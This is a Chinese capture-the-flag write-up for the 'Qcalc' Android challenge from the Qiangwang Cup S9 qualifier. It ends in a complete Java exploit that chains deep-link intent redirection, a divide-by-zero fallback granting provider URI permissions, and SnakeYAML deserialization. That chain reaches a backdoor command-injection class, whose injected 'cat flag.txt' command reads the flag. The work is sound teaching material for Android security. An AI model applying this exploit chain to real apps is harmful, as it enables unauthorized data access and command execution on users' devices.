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强网杯s9初赛 Qcalc wp

Qcalc 题解,分析 Deep Link 输入处理、表达式计算及相关漏洞。

逆向过程

MainActivity可通过qiangcalc://calculate形式的uri启动

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MainActivity收到intent时会调用handleIntent方法

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handleIntent会判断Action并取出其中的expression参数并传入processDeeplinkExpression中

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processDeeplinkExpression会判断传入的expression是否为intent scheme,是的话将该uri转成intent并存入顶层intent的fallback参数中,并计算哈希一并存入。

如果是普通的表达式的话,该方法会取出表达式的两个操作数并调用onEqual()进行计算

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onEqual中值得注意的是除法,如果除以0会抛出除0异常,并交由异常处理来处理。catch中取出了fallback并存入了一些新的参数(作用不大),最后将fallback作为bridgeIntent的参数origIntent传入,并启动BridgeActivity

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BridgeActivity首先会对传入的intent进行校验,大部分的参数都是onEqual中硬编码的所以不会错,唯一需要注意的是this.validateToken方法,对bridge_token参数进行了校验,将其与包名的sha256进行了比较,这个参数在之前都没有出现过,所以是一开始就要在fallback对应的intent scheme里就要传入

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验证通过后,为origIntent赋予通过provider读写(addFlags(3))/data/data/com.qinquang.calc/files/history.yml的权限并启动Activity

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漏洞分析

上面的分析中,我们最后发现有一个content provider,该provider不导出,但设置了grantUriPermissions=“true”,这样我们可以传入intent来调用该provider。但是目标apk中唯一授权的只有/data/data/com.qinquang.calc/files/history.yml,意味着我们不能直接通过provider读取flag只能读写history.yml

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HistoryManager.loadHistory中通过yaml.load反序列化了history.yml文件,并判断其是否为intent,是的话就启动该intent。但是我们在上面已经可以构造一个intent了,再构造一个意义不大

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注意到有一个没调用过的类PingUtil,很明显的后门函数,命令拼接,那我们可以直接利用上面的反序列化执行该类的init方法从而实现命令执行

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本来考虑直接通过网络传出flag或者先写入外部存储然后再读取,但很不幸apk没有这两个权限。考虑到我们可以对history.yml进行读取,我们可以将flag写入yml文件中再进行读取。

剩下的问题就是如何触发反序列化了,loadHistory在onCreate和saveHistory中有调用,saveHistory在onEqual的末尾有调用,我们可以通过传入intent进行一次正常的运算来调用saveHistory

但在saveHistory中,调用完loadHistory后他会对yml进行覆写,会把我们的flag给清掉,所以我们需要卡一个timing,在写入flag后和flag被覆写前趁机读取出flag,这就要自己延时慢慢调了

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漏洞利用

综上,利用链可总结为:

  • 传入intent scheme到fallback中
  • 触发除0异常调用BridgeActivity获取history.yml读写权限,并启动fallback intent(由于这个是我们自己传入的,所以我们可以再次启动我们自己的Activity)
  • 回调到我们的Activity,对history.yml文件写入poc
  • 正常进行一次计算,触发反序列化漏洞
  • 等待flag写入yml文件后,读取出flag

由于是复现,就不将flag发送到外网了,这里就直接将flag写到log里,exp如下

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package com.example.qcalc;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.util.Log;

import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;

import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;

public class MainActivity extends AppCompatActivity {

private static final String TAG = "qcalcccccccc";
private String getToken(){
try {
byte[] arr_b = MessageDigest.getInstance("SHA-256").digest("com.qinquang.calc".getBytes(StandardCharsets.UTF_8));
StringBuilder sb = new StringBuilder();
for(int i = 0; i < 8; ++i) {
sb.append(String.format("%02x", ((byte)arr_b[i])));
}
return sb.toString();
}
catch(Exception e) {
return "Error";
}
}
private String getExp()
{
String yaml = "!!com.qinquang.calc.PingUtil 127.0.0.1; /system/bin/cat /data/data/com.qinquang.calc/files/flag.txt > /data/data/com.qinquang.calc/files/history.yml";
return yaml;
}

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.d(TAG,"123123123");
Intent intent = this.getIntent();
Uri yamlUri = null;
if (intent != null)
yamlUri = intent.getData();

// 因为该exp会让目标apk再次调用该Activity,所以该Activity实际上执行了两次,第一次是直接执行,第二次通过intent执行并返回了history.yml的uri,所以要进行一次判断
if (yamlUri == null)
{
// 传入fallback
Intent fallBackIntent = new Intent(Intent.ACTION_VIEW);
fallBackIntent.setClassName(getPackageName(),MainActivity.class.getName());
fallBackIntent.putExtra("bridge_token", getToken());
String uri = fallBackIntent.toUri(Intent.URI_INTENT_SCHEME);
uri = Uri.encode(uri);
Intent intent1 = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + uri));
intent1.setPackage("com.qinquang.calc");
startActivity(intent1);

// 触发div 0
Log.d(TAG,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
Intent intent2 = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=0%2F0"));
intent2.setPackage("com.qinquang.calc");
intent2.putExtra("fallback",fallBackIntent);
startActivity(intent2);
finish();
return ;
}

// 获得history.yml读写权限,写入exp
try {
OutputStream os = getContentResolver().openOutputStream(yamlUri);
os.write(getExp().getBytes(StandardCharsets.UTF_8));
} catch (Exception e) {
throw new RuntimeException(e);
}

// 进行一次正常运算,触发反序列化漏洞
Intent intent3 = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2"));
intent3.setPackage("com.qinquang.calc");
startActivity(intent3);

// 卡timing读取flag,需要慢慢调
final Uri yaml = yamlUri;
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
try {
StringBuilder sb = new StringBuilder();
InputStream is = getContentResolver().openInputStream(yaml);
InputStreamReader ir = new InputStreamReader(is, StandardCharsets.UTF_8);
BufferedReader br = new BufferedReader(ir);
String line;
while ((line = br.readLine()) != null)
sb.append(line);
Log.d(TAG, "flag: "+ sb.toString());
} catch (Exception e) {

}
}
},50); // 延时1秒

}
}

在日志里获得flag

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